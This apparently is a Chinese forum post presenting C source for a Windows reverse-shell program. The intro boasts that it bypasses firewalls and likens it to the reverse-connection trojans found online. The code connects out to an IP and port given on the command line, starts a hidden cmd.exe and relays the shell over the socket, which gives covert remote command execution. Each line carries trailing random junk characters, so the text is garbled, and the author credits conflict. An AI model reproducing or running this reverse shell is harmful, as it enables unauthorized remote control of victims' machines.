这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D((/fT)eD
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/* ============================== 7F>]zrbK
Rebound port in Windows NT KS~Q[-F1P
By wind,2006/7 `O3#/1+
===============================*/ n~`jUML2d
#include [*)2Ou
#include 7eM6 B#rI
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#pragma comment(lib,"wsock32.lib") <LBCu;
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void OutputShell(); rM~Mqpk
SOCKET sClient; :+_H%4+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nSo.,72
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void main(int argc,char **argv) ]nIVP
{ E]a,2{&8<
WSADATA stWsaData; p|;#frj
int nRet; ct*~\C6Ze
SOCKADDR_IN stSaiClient,stSaiServer; 2-g 5Gb2|
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if(argc != 3) :WH0=Bieh
{ 6S%KUFB+e
printf("Useage:\n\rRebound DestIP DestPort\n"); p0Ij4
return; = "Lb5!
} :8)3t! A
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WSAStartup(MAKEWORD(2,2),&stWsaData); r)qow.+&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #{bT=:3a
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stSaiClient.sin_family = AF_INET; A sf]sU..
stSaiClient.sin_port = htons(0); !Cm9DzG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z
+}#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .YS48 c
{
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printf("Bind Socket Failed!\n"); JHVesX
return; HFj@NRE6
} ^''3}<Ep
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stSaiServer.sin_family = AF_INET; g7LS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (TGG?V
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j =b-Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7LW%:0
{ M059"X="
printf("Connect Error!"); Q
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return; UbwD2>
} :"oUnBY%
OutputShell(); dy0xz5N-
} /kd6Yq(y
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void OutputShell() N^tH&\G\m
{ RZKczZGZg
char szBuff[1024]; #>\8m+h 9
SECURITY_ATTRIBUTES stSecurityAttributes; PHn3f;I
OSVERSIONINFO stOsversionInfo; Rwz (20n\^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L/J)OJe\
STARTUPINFO stStartupInfo; ;=ERm=
char *szShell; 4ze4{a^
PROCESS_INFORMATION stProcessInformation; NA8$G|.?
unsigned long lBytesRead; k<NEauQ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L[:b\O/p,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]^CNC0
stSecurityAttributes.lpSecurityDescriptor = 0; +~\c1|f
stSecurityAttributes.bInheritHandle = TRUE; Bso3Z ^X.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); APu cA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;v1&Rs
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4 '6HX#J
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CR<Nau>
stStartupInfo.wShowWindow = SW_HIDE; <O?UC/$)7
stStartupInfo.hStdInput = hReadPipe; PK#; \Zw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Vx5ioA]{
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GetVersionEx(&stOsversionInfo); *~F\k):>
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switch(stOsversionInfo.dwPlatformId) %(GWR@mfC
{ YN1P9j#0d
case 1: Np4';H
szShell = "command.com"; S3V3<4CB
break; TSHsEcfO
default: Xqt3p6
szShell = "cmd.exe"; -iu7/4!j
break; sW[8f
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} -/:N&6eRb
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =W(mZ#*vdY
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send(sClient,szMsg,77,0); H]V@Q~?e
while(1)
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{ ?\MvAG7Y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8A{n9>jrb
if(lBytesRead) A;nrr1-0
{ 8<UD#i@:C
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *NdSL
send(sClient,szBuff,lBytesRead,0); .4c* _$
} 0|g|k7c{rF
else
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{ CV% AqJN
lBytesRead=recv(sClient,szBuff,1024,0); ~^((tT
if(lBytesRead<=0) break; M>+FIb(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "
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} b/IT8Cm3
} SoZ$1$o2
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return; !+tz<9BBY
}